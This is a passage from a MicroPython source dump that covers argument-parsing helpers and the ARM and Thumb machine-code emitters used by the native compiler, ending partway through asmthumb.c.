(uint32_t)dest)); if (((~(*dest)) & val) == 0) { // Writing to flash will stop the CPU, so we stop the ticker to minimise odd behaviour. ticker_stop(); nrf_nvmc_write_byte((uint32_t)dest, val); ticker_start(); return 0; } else { return persistent_write(dest, &val, 1); } } ================================================ FILE: micropython/source/py/argcheck.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/runtime.h" void mp_arg_check_num(size_t n_args, size_t n_kw, size_t n_args_min, size_t n_args_max, bool takes_kw) { // TODO maybe take the function name as an argument so we can print nicer error messages if (n_kw && !takes_kw) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_arg_error_terse_mismatch(); } else { mp_raise_TypeError("function does not take keyword arguments"); } } if (n_args_min == n_args_max) { if (n_args != n_args_min) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_arg_error_terse_mismatch(); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "function takes %d positional arguments but %d were given", n_args_min, n_args)); } } } else { if (n_args < n_args_min) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_arg_error_terse_mismatch(); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "function missing %d required positional arguments", n_args_min - n_args)); } } else if (n_args > n_args_max) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_arg_error_terse_mismatch(); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "function expected at most %d arguments, got %d", n_args_max, n_args)); } } } } void mp_arg_parse_all(size_t n_pos, const mp_obj_t *pos, mp_map_t *kws, size_t n_allowed, const mp_arg_t *allowed, mp_arg_val_t *out_vals) { size_t pos_found = 0, kws_found = 0; for (size_t i = 0; i < n_allowed; i++) { mp_obj_t given_arg; if (i < n_pos) { if (allowed[i].flags & MP_ARG_KW_ONLY) { goto extra_positional; } pos_found++; given_arg = pos[i]; } else { mp_map_elem_t *kw = mp_map_lookup(kws, MP_OBJ_NEW_QSTR(allowed[i].qst), MP_MAP_LOOKUP); if (kw == NULL) { if (allowed[i].flags & MP_ARG_REQUIRED) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_arg_error_terse_mismatch(); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "'%q' argument required", allowed[i].qst)); } } out_vals[i] = allowed[i].defval; continue; } else { kws_found++; given_arg = kw->value; } } if ((allowed[i].flags & MP_ARG_KIND_MASK) == MP_ARG_BOOL) { out_vals[i].u_bool = mp_obj_is_true(given_arg); } else if ((allowed[i].flags & MP_ARG_KIND_MASK) == MP_ARG_INT) { out_vals[i].u_int = mp_obj_get_int(given_arg); } else { assert((allowed[i].flags & MP_ARG_KIND_MASK) == MP_ARG_OBJ); out_vals[i].u_obj = given_arg; } } if (pos_found < n_pos) { extra_positional: if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_arg_error_terse_mismatch(); } else { // TODO better error message mp_raise_TypeError("extra positional arguments given"); } } if (kws_found < kws->used) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_arg_error_terse_mismatch(); } else { // TODO better error message mp_raise_TypeError("extra keyword arguments given"); } } } void mp_arg_parse_all_kw_array(size_t n_pos, size_t n_kw, const mp_obj_t *args, size_t n_allowed, const mp_arg_t *allowed, mp_arg_val_t *out_vals) { mp_map_t kw_args; mp_map_init_fixed_table(&kw_args, n_kw, args + n_pos); mp_arg_parse_all(n_pos, args, &kw_args, n_allowed, allowed, out_vals); } #if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE || _MSC_VER NORETURN void mp_arg_error_terse_mismatch(void) { mp_raise_TypeError("argument num/types mismatch"); } #endif #if MICROPY_CPYTHON_COMPAT NORETURN void mp_arg_error_unimpl_kw(void) { mp_raise_NotImplementedError("keyword argument(s) not yet implemented - use normal args instead"); } #endif ================================================ FILE: micropython/source/py/asmarm.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Fabian Vogt * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/mpconfig.h" // wrapper around everything in this file #if MICROPY_EMIT_ARM #include "py/asmarm.h" #define SIGNED_FIT24(x) (((x) & 0xff800000) == 0) || (((x) & 0xff000000) == 0xff000000) void asm_arm_end_pass(asm_arm_t *as) { if (as->base.pass == MP_ASM_PASS_EMIT) { #ifdef __arm__ // flush I- and D-cache asm volatile( "0:" "mrc p15, 0, r15, c7, c10, 3\n" "bne 0b\n" "mov r0, #0\n" "mcr p15, 0, r0, c7, c7, 0\n" : : : "r0", "cc"); #endif } } // Insert word into instruction flow STATIC void emit(asm_arm_t *as, uint op) { uint8_t *c = mp_asm_base_get_cur_to_write_bytes(&as->base, 4); if (c != NULL) { *(uint32_t*)c = op; } } // Insert word into instruction flow, add "ALWAYS" condition code STATIC void emit_al(asm_arm_t *as, uint op) { emit(as, op | ASM_ARM_CC_AL); } // Basic instructions without condition code STATIC uint asm_arm_op_push(uint reglist) { // stmfd sp!, {reglist} return 0x92d0000 | (reglist & 0xFFFF); } STATIC uint asm_arm_op_pop(uint reglist) { // ldmfd sp!, {reglist} return 0x8bd0000 | (reglist & 0xFFFF); } STATIC uint asm_arm_op_mov_reg(uint rd, uint rn) { // mov rd, rn return 0x1a00000 | (rd << 12) | rn; } STATIC uint asm_arm_op_mov_imm(uint rd, uint imm) { // mov rd, #imm return 0x3a00000 | (rd << 12) | imm; } STATIC uint asm_arm_op_mvn_imm(uint rd, uint imm) { // mvn rd, #imm return 0x3e00000 | (rd << 12) | imm; } STATIC uint asm_arm_op_add_imm(uint rd, uint rn, uint imm) { // add rd, rn, #imm return 0x2800000 | (rn << 16) | (rd << 12) | (imm & 0xFF); } STATIC uint asm_arm_op_add_reg(uint rd, uint rn, uint rm) { // add rd, rn, rm return 0x0800000 | (rn << 16) | (rd << 12) | rm; } STATIC uint asm_arm_op_sub_imm(uint rd, uint rn, uint imm) { // sub rd, rn, #imm return 0x2400000 | (rn << 16) | (rd << 12) | (imm & 0xFF); } STATIC uint asm_arm_op_sub_reg(uint rd, uint rn, uint rm) { // sub rd, rn, rm return 0x0400000 | (rn << 16) | (rd << 12) | rm; } STATIC uint asm_arm_op_mul_reg(uint rd, uint rm, uint rs) { // mul rd, rm, rs assert(rd != rm); return 0x0000090 | (rd << 16) | (rs << 8) | rm; } STATIC uint asm_arm_op_and_reg(uint rd, uint rn, uint rm) { // and rd, rn, rm return 0x0000000 | (rn << 16) | (rd << 12) | rm; } STATIC uint asm_arm_op_eor_reg(uint rd, uint rn, uint rm) { // eor rd, rn, rm return 0x0200000 | (rn << 16) | (rd << 12) | rm; } STATIC uint asm_arm_op_orr_reg(uint rd, uint rn, uint rm) { // orr rd, rn, rm return 0x1800000 | (rn << 16) | (rd << 12) | rm; } void asm_arm_bkpt(asm_arm_t *as) { // bkpt #0 emit_al(as, 0x1200070); } // locals: // - stored on the stack in ascending order // - numbered 0 through num_locals-1 // - SP points to first local // // | SP // v // l0 l1 l2 ... l(n-1) // ^ ^ // | low address | high address in RAM void asm_arm_entry(asm_arm_t *as, int num_locals) { if (num_locals < 0) { num_locals = 0; } as->stack_adjust = 0; as->push_reglist = 1 << ASM_ARM_REG_R1 | 1 << ASM_ARM_REG_R2 | 1 << ASM_ARM_REG_R3 | 1 << ASM_ARM_REG_R4 | 1 << ASM_ARM_REG_R5 | 1 << ASM_ARM_REG_R6 | 1 << ASM_ARM_REG_R7 | 1 << ASM_ARM_REG_R8; // Only adjust the stack if there are more locals than usable registers if (num_locals > 3) { as->stack_adjust = num_locals * 4; // Align stack to 8 bytes if (num_locals & 1) { as->stack_adjust += 4; } } emit_al(as, asm_arm_op_push(as->push_reglist | 1 << ASM_ARM_REG_LR)); if (as->stack_adjust > 0) { emit_al(as, asm_arm_op_sub_imm(ASM_ARM_REG_SP, ASM_ARM_REG_SP, as->stack_adjust)); } } void asm_arm_exit(asm_arm_t *as) { if (as->stack_adjust > 0) { emit_al(as, asm_arm_op_add_imm(ASM_ARM_REG_SP, ASM_ARM_REG_SP, as->stack_adjust)); } emit_al(as, asm_arm_op_pop(as->push_reglist | (1 << ASM_ARM_REG_PC))); } void asm_arm_push(asm_arm_t *as, uint reglist) { emit_al(as, asm_arm_op_push(reglist)); } void asm_arm_pop(asm_arm_t *as, uint reglist) { emit_al(as, asm_arm_op_pop(reglist)); } void asm_arm_mov_reg_reg(asm_arm_t *as, uint reg_dest, uint reg_src) { emit_al(as, asm_arm_op_mov_reg(reg_dest, reg_src)); } void asm_arm_mov_reg_i32(asm_arm_t *as, uint rd, int imm) { // TODO: There are more variants of immediate values if ((imm & 0xFF) == imm) { emit_al(as, asm_arm_op_mov_imm(rd, imm)); } else if (imm < 0 && imm >= -256) { // mvn is "move not", not "move negative" emit_al(as, asm_arm_op_mvn_imm(rd, ~imm)); } else { //Insert immediate into code and jump over it emit_al(as, 0x59f0000 | (rd << 12)); // ldr rd, [pc] emit_al(as, 0xa000000); // b pc emit(as, imm); } } void asm_arm_mov_local_reg(asm_arm_t *as, int local_num, uint rd) { // str rd, [sp, #local_num*4] emit_al(as, 0x58d0000 | (rd << 12) | (local_num << 2)); } void asm_arm_mov_reg_local(asm_arm_t *as, uint rd, int local_num) { // ldr rd, [sp, #local_num*4] emit_al(as, 0x59d0000 | (rd << 12) | (local_num << 2)); } void asm_arm_cmp_reg_i8(asm_arm_t *as, uint rd, int imm) { // cmp rd, #imm emit_al(as, 0x3500000 | (rd << 16) | (imm & 0xFF)); } void asm_arm_cmp_reg_reg(asm_arm_t *as, uint rd, uint rn) { // cmp rd, rn emit_al(as, 0x1500000 | (rd << 16) | rn); } void asm_arm_setcc_reg(asm_arm_t *as, uint rd, uint cond) { emit(as, asm_arm_op_mov_imm(rd, 1) | cond); // movCOND rd, #1 emit(as, asm_arm_op_mov_imm(rd, 0) | (cond ^ (1 << 28))); // mov!COND rd, #0 } void asm_arm_add_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm) { // add rd, rn, rm emit_al(as, asm_arm_op_add_reg(rd, rn, rm)); } void asm_arm_sub_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm) { // sub rd, rn, rm emit_al(as, asm_arm_op_sub_reg(rd, rn, rm)); } void asm_arm_mul_reg_reg_reg(asm_arm_t *as, uint rd, uint rs, uint rm) { // rs and rm are swapped because of restriction rd!=rm // mul rd, rm, rs emit_al(as, asm_arm_op_mul_reg(rd, rm, rs)); } void asm_arm_and_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm) { // and rd, rn, rm emit_al(as, asm_arm_op_and_reg(rd, rn, rm)); } void asm_arm_eor_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm) { // eor rd, rn, rm emit_al(as, asm_arm_op_eor_reg(rd, rn, rm)); } void asm_arm_orr_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm) { // orr rd, rn, rm emit_al(as, asm_arm_op_orr_reg(rd, rn, rm)); } void asm_arm_mov_reg_local_addr(asm_arm_t *as, uint rd, int local_num) { // add rd, sp, #local_num*4 emit_al(as, asm_arm_op_add_imm(rd, ASM_ARM_REG_SP, local_num << 2)); } void asm_arm_lsl_reg_reg(asm_arm_t *as, uint rd, uint rs) { // mov rd, rd, lsl rs emit_al(as, 0x1a00010 | (rd << 12) | (rs << 8) | rd); } void asm_arm_asr_reg_reg(asm_arm_t *as, uint rd, uint rs) { // mov rd, rd, asr rs emit_al(as, 0x1a00050 | (rd << 12) | (rs << 8) | rd); } void asm_arm_ldr_reg_reg(asm_arm_t *as, uint rd, uint rn, uint byte_offset) { // ldr rd, [rn, #off] emit_al(as, 0x5900000 | (rn << 16) | (rd << 12) | byte_offset); } void asm_arm_ldrh_reg_reg(asm_arm_t *as, uint rd, uint rn) { // ldrh rd, [rn] emit_al(as, 0x1d000b0 | (rn << 16) | (rd << 12)); } void asm_arm_ldrb_reg_reg(asm_arm_t *as, uint rd, uint rn) { // ldrb rd, [rn] emit_al(as, 0x5d00000 | (rn << 16) | (rd << 12)); } void asm_arm_str_reg_reg(asm_arm_t *as, uint rd, uint rm, uint byte_offset) { // str rd, [rm, #off] emit_al(as, 0x5800000 | (rm << 16) | (rd << 12) | byte_offset); } void asm_arm_strh_reg_reg(asm_arm_t *as, uint rd, uint rm) { // strh rd, [rm] emit_al(as, 0x1c000b0 | (rm << 16) | (rd << 12)); } void asm_arm_strb_reg_reg(asm_arm_t *as, uint rd, uint rm) { // strb rd, [rm] emit_al(as, 0x5c00000 | (rm << 16) | (rd << 12)); } void asm_arm_str_reg_reg_reg(asm_arm_t *as, uint rd, uint rm, uint rn) { // str rd, [rm, rn, lsl #2] emit_al(as, 0x7800100 | (rm << 16) | (rd << 12) | rn); } void asm_arm_strh_reg_reg_reg(asm_arm_t *as, uint rd, uint rm, uint rn) { // strh doesn't support scaled register index emit_al(as, 0x1a00080 | (ASM_ARM_REG_R8 << 12) | rn); // mov r8, rn, lsl #1 emit_al(as, 0x18000b0 | (rm << 16) | (rd << 12) | ASM_ARM_REG_R8); // strh rd, [rm, r8] } void asm_arm_strb_reg_reg_reg(asm_arm_t *as, uint rd, uint rm, uint rn) { // strb rd, [rm, rn] emit_al(as, 0x7c00000 | (rm << 16) | (rd << 12) | rn); } void asm_arm_bcc_label(asm_arm_t *as, int cond, uint label) { assert(label < as->base.max_num_labels); mp_uint_t dest = as->base.label_offsets[label]; mp_int_t rel = dest - as->base.code_offset; rel -= 8; // account for instruction prefetch, PC is 8 bytes ahead of this instruction rel >>= 2; // in ARM mode the branch target is 32-bit aligned, so the 2 LSB are omitted if (SIGNED_FIT24(rel)) { emit(as, cond | 0xa000000 | (rel & 0xffffff)); } else { printf("asm_arm_bcc: branch does not fit in 24 bits\n"); } } void asm_arm_b_label(asm_arm_t *as, uint label) { asm_arm_bcc_label(as, ASM_ARM_CC_AL, label); } void asm_arm_bl_ind(asm_arm_t *as, void *fun_ptr, uint fun_id, uint reg_temp) { // If the table offset fits into the ldr instruction if (fun_id < (0x1000 / 4)) { emit_al(as, asm_arm_op_mov_reg(ASM_ARM_REG_LR, ASM_ARM_REG_PC)); // mov lr, pc emit_al(as, 0x597f000 | (fun_id << 2)); // ldr pc, [r7, #fun_id*4] return; } emit_al(as, 0x59f0004 | (reg_temp << 12)); // ldr rd, [pc, #4] // Set lr after fun_ptr emit_al(as, asm_arm_op_add_imm(ASM_ARM_REG_LR, ASM_ARM_REG_PC, 4)); // add lr, pc, #4 emit_al(as, asm_arm_op_mov_reg(ASM_ARM_REG_PC, reg_temp)); // mov pc, reg_temp emit(as, (uint) fun_ptr); } #endif // MICROPY_EMIT_ARM ================================================ FILE: micropython/source/py/asmbase.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/obj.h" #include "py/misc.h" #include "py/asmbase.h" #if MICROPY_EMIT_NATIVE || MICROPY_EMIT_INLINE_ASM void mp_asm_base_init(mp_asm_base_t *as, size_t max_num_labels) { as->max_num_labels = max_num_labels; as->label_offsets = m_new(size_t, max_num_labels); } void mp_asm_base_deinit(mp_asm_base_t *as, bool free_code) { if (free_code) { MP_PLAT_FREE_EXEC(as->code_base, as->code_size); } m_del(size_t, as->label_offsets, as->max_num_labels); } void mp_asm_base_start_pass(mp_asm_base_t *as, int pass) { if (pass == MP_ASM_PASS_COMPUTE) { // reset all labels memset(as->label_offsets, -1, as->max_num_labels * sizeof(size_t)); } else if (pass == MP_ASM_PASS_EMIT) { // allocating executable RAM is platform specific MP_PLAT_ALLOC_EXEC(as->code_offset, (void**)&as->code_base, &as->code_size); assert(as->code_base != NULL); } as->pass = pass; as->code_offset = 0; } // all functions must go through this one to emit bytes // if as->pass < MP_ASM_PASS_EMIT, then this function just counts the number // of bytes needed and returns NULL, and callers should not store any data uint8_t *mp_asm_base_get_cur_to_write_bytes(mp_asm_base_t *as, size_t num_bytes_to_write) { uint8_t *c = NULL; if (as->pass == MP_ASM_PASS_EMIT) { assert(as->code_offset + num_bytes_to_write <= as->code_size); c = as->code_base + as->code_offset; } as->code_offset += num_bytes_to_write; return c; } void mp_asm_base_label_assign(mp_asm_base_t *as, size_t label) { assert(label < as->max_num_labels); if (as->pass < MP_ASM_PASS_EMIT) { // assign label offset assert(as->label_offsets[label] == (size_t)-1); as->label_offsets[label] = as->code_offset; } else { // ensure label offset has not changed from PASS_COMPUTE to PASS_EMIT assert(as->label_offsets[label] == as->code_offset); } } // align must be a multiple of 2 void mp_asm_base_align(mp_asm_base_t* as, unsigned int align) { as->code_offset = (as->code_offset + align - 1) & (~(align - 1)); } // this function assumes a little endian machine void mp_asm_base_data(mp_asm_base_t* as, unsigned int bytesize, uintptr_t val) { uint8_t *c = mp_asm_base_get_cur_to_write_bytes(as, bytesize); if (c != NULL) { for (unsigned int i = 0; i < bytesize; i++) { *c++ = val; val >>= 8; } } } #endif // MICROPY_EMIT_NATIVE || MICROPY_EMIT_INLINE_ASM ================================================ FILE: micropython/source/py/asmthumb.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/mpconfig.h" // wrapper around everything in this file #if MICROPY_EMIT_THUMB || MICROPY_EMIT_INLINE_THUMB #include "py/mphal.h" #include "py/asmthumb.h" #define UNSIGNED_FIT8(x) (((x) & 0xffffff00) == 0) #define UNSIGNED_FIT16(x) (((x) & 0xffff0000) == 0) #define SIGNED_FIT8(x) (((x) & 0xffffff80) == 0) || (((x) & 0xffffff80) == 0xffffff80) #define SIGNED_FIT9(x) (((x) & 0xffffff00) == 0) || (((x) & 0xffffff00) == 0xffffff00) #define SIGNED_FIT12(x) (((x) & 0xfffff800) == 0) || (((x) & 0xfffff800) == 0xfffff800) #define SIGNED_FIT23(x) (((x) & 0xffc00000) == 0) || (((x) & 0xffc00000) == 0xffc00000) static inline byte *asm_thumb_get_cur_to_write_bytes(asm_thumb_t *as, int n) { return mp_asm_base_get_cur_to_write_bytes(&as->base, n); } void asm_thumb_end_pass(asm_thumb_t *as) { (void)as; // could check labels are resolved... #if defined(MCU_SERIES_F7) if (as->base.pass == MP_ASM_PASS_EMIT) { // flush D-cache, so the code emitted is stored in memory MP_HAL_CLEAN_DCACHE(as->base.code_base, as->base.code_size); // invalidate I-cache SCB_InvalidateICache(); } #endif } /* STATIC void asm_thumb_write_byte_1(asm_thumb_t *as, byte b1) { byte *c = asm_thumb_get_cur_to_write_bytes(as, 1); c[0] = b1; } */ /* #define IMM32_L0(x) ((x) & 0xff) #define IMM32_L1(x) (((x) >> 8) & 0xff) #define IMM32_L2(x) (((x) >> 16) & 0xff) #define IMM32_L3(x) (((x) >> 24) & 0xff) STATIC void asm_thumb_write_word32(asm_thumb_t *as, int w32) { byte *c = asm_thumb_get_cur_to_write_bytes(as, 4); c[0] = IMM32_L0(w32); c[1] = IMM32_L1(w32); c[2] = IMM32_L2(w32); c[3] = IMM32_L3(w32); } */ // rlolist is a bit map indicating desired lo-registers #define OP_PUSH_RLIST(rlolist) (0xb400 | (rlolist)) #define OP_PUSH_RLIST_LR(rlolist) (0xb400 | 0x0100 | (rlolist)) #define OP_POP_RLIST(rlolist) (0xbc00 | (rlolist)) #define OP_POP_RLIST_PC(rlolist) (0xbc00 | 0x0100 | (rlolist)) #define OP_ADD_SP(num_words) (0xb000 | (num_words)) #define OP_SUB_SP(num_words) (0xb080 | (num_words)) // locals: // - stored on the stack in ascending order // - numbered 0 through num_locals-1 // - SP points to first local // // | SP // v // l0 l1 l2 ... l(n-1) // ^ ^ // | low address | high address in RAM void asm_thumb_entry(asm_thumb_t *as, int num_locals) { // work out what to push and how many extra spaces to reserve on stack // so that we have enough for all locals and it's aligned an 8-byte boundary // we push extra regs (r1, r2, r3) to help do the stack adjustment // we probably should just always subtract from sp, since this would be more efficient // for push rlist, lowest numbered register at the lowest address uint reglist; uint stack_adjust; if (num_locals < 0) { num_locals = 0; } // don't pop r0 because it's used for return value switch (num_locals) { case 0: reglist = 0xf2; stack_adjust = 0; break; case 1: reglist = 0xf2; stack_adjust = 0; break; case 2: reglist = 0xfe; stack_adjust = 0; break; case 3: reglist = 0xfe; stack_adjust = 0; break; default: reglist = 0xfe; stack_adjust = ((num_locals - 3) + 1) & (~1); break; } asm_thumb_op16(as, OP_PUSH_RLIST_LR(reglist)); if (stack_adjust > 0) { asm_thumb_op16(as, OP_SUB_SP(stack_adjust)); } as->push_reglist = reglist; as->stack_adjust = stack_adjust; } void asm_thumb_exit(asm_thumb_t *as) { if (as->stack_adjust > 0) { asm_thumb_op16(as, OP_ADD_SP(as->stack_adjust)); } asm_thumb_op16(as, OP_POP_RLIST_PC(as->push_reglist)); } STATIC mp_uint_t get_label_dest(asm_thumb_t *as, uint label) { assert(label < as->base.max_num_labels); return as->base.label_offsets[label]; } void asm_thumb_op16(asm_thumb_t *as, uint op) { byte *c = asm_thumb_get_cur_to_write_bytes(as, 2); if (c != NULL) { // little endian c[0] = op; c[1] = op >> 8; } } void asm_thumb_op32(asm_thumb_t *as, uint op1, uint op2) { byte *c = asm_thumb_get_cur_to_write_bytes(as, 4); if (c != NULL) { // little endian, op1 then op2 c[0] = op1; c[1] = op1 >> 8; c[2] = op2; c[3] = op2 >> 8; } } #define OP_FORMAT_4(op, rlo_dest, rlo_src) ((op) | ((rlo_src) << 3) | (rlo_dest)) void asm_thumb_format_4(asm_thumb_t *as, uint op, uint rlo_dest, uint rlo_src) { assert(rlo_dest < ASM_THUMB_REG_R8); assert(rlo_src < ASM_THUMB_REG_R8); asm_thumb_op16(as, OP_FORMAT_4(op, rlo_dest, rlo_src)); } void asm_thumb_mov_reg_reg(asm_thumb_t *as, uint reg_dest, uint reg_src) { uint op_lo; if (reg_src < 8) { op_lo = reg_src << 3; } else { op_lo = 0x40 | ((reg_src - 8) << 3); } if (reg_dest < 8) { op_lo |= reg_dest; } else { op_lo |= 0x80 | (reg_dest - 8); } // mov reg_dest, reg_src asm_thumb_op16(as, 0x4600 | op_lo); } // if loading lo half with movw, the i16 value will be zero extended into the r32 register! void asm_thumb_mov_reg_i16(asm_thumb_t *as, uint mov_op, uint reg_dest, int i16_src) { assert(reg_dest < ASM_THUMB_REG_R15); // mov[wt] reg_dest, #i16_src asm_thumb_op32(as, mov_op | ((i16_src >> 1) & 0x0400) | ((i16_src >> 12) & 0xf), ((i16_src << 4) & 0x7000) | (reg_dest << 8) | (i16_src & 0xff)); } #define OP_B_N(byte_offset) (0xe000 | (((byte_offset) >> 1) & 0x07ff)) bool asm_thumb_b_n_label(asm_thumb_t *as, uint label) { mp_uint_t dest = get_label_dest(as, label); mp_int_t rel = dest - as->base.code_offset; rel -= 4; // account for instruction prefetch, PC is 4 bytes ahead of this instruction asm_thumb_op16(as, OP_B_N(rel)); return as->base.pass != MP_ASM_PASS_EMIT || SIGNED_FIT12(rel); } #define OP_BCC_N(cond, byte_offset) (0xd000 | ((cond) << 8) | (((byte_offset) >> 1) & 0x00ff)) // all these bit arithmetics need coverage testing! #define OP_BCC_W_HI(cond, byte_offset) (0xf000 | ((cond) << 6) | (((byte_offset) >> 10) & 0x0400) | (((byte_offset) >> 14) & 0x003f)) #define OP_BCC_W_LO(byte_offset) (0x8000 | ((byte_offset) & 0x2000) | (((byte_offset) >> 1) & 0x0fff)) bool asm_thumb_bcc_nw_label(asm_thumb_t *as, int cond, uint label, bool wide) { mp_uint_t dest = get_label_dest(as, label); mp_int_t rel = dest - as->base.code_offset; rel -= 4; // account for instruction prefetch, PC is 4 bytes ahead of this instruction if (!wide) { asm_thumb_op16(as, OP_BCC_N(cond, rel)); return as->base.pass != MP_ASM_PASS_EMIT || SIGNED_FIT9(rel); } else { asm_thumb_op32(as, OP_BCC_W_HI(cond, rel), OP_BCC_W_LO(rel)); return true; } } #define OP_BL_HI(byte_offset) (0xf000 | (((byte_offset) >> 12) & 0x07ff)) #define OP_BL_LO(byte_offset) (0xf800 | (((byte_offset) >> 1) & 0x07ff)) bool asm_thumb_bl_label(asm_thumb_t *as, uint label) { mp_uint_t dest = get_label_dest(as, label); mp_int_t rel = dest - as->base.code_offset; rel -= 4; // account for instruction prefetch, PC is 4 bytes ahead of this instruction asm_thumb_op32(as, OP_BL_HI(rel), OP_BL_LO(rel)); return as->base.pass != MP_ASM_PASS_EMIT || SIGNED_FIT23(rel); } void asm_thumb_mov_reg_i32(asm_thumb_t *as, uint reg_dest, mp_uint_t i32) { // movw, movt does it in 8 bytes // ldr [pc, #], dw does it in 6 bytes, but we might not reach to end of code for dw asm_thumb_mov_reg_i16(as, ASM_THUMB_OP_MOVW, reg_dest, i32); asm_thumb_mov_reg_i16(as, ASM_THUMB_OP_MOVT, reg_dest, i32 >> 16); } void asm_thumb_mov_reg_i32_optimised(asm_thumb_t *as, uint reg_dest, int i32) { if (reg_dest < 8 && UNSIGNED_FIT8(i32)) { asm_thumb_mov_rlo_i8(as, reg_dest, i32); } else if (UNSIGNED_FIT16(i32)) { asm_thumb_mov_reg_i16(as, ASM_THUMB_OP_MOVW, reg_dest, i32); } else { asm_thumb_mov_reg_i32(as, reg_dest, i32); } } // i32 is stored as a full word in the code, and aligned to machine-word boundary // TODO this is very inefficient, improve it! void asm_thumb_mov_reg_i32_aligned(asm_thumb_t *as, uint reg_dest, int i32) { // align on machine-word + 2 if ((as->base.code_offset & 3) == 0) { asm_thumb_op16(as, ASM_THUMB_OP_NOP); } // jump over the i32 value (instruction prefetch adds 2 to PC) 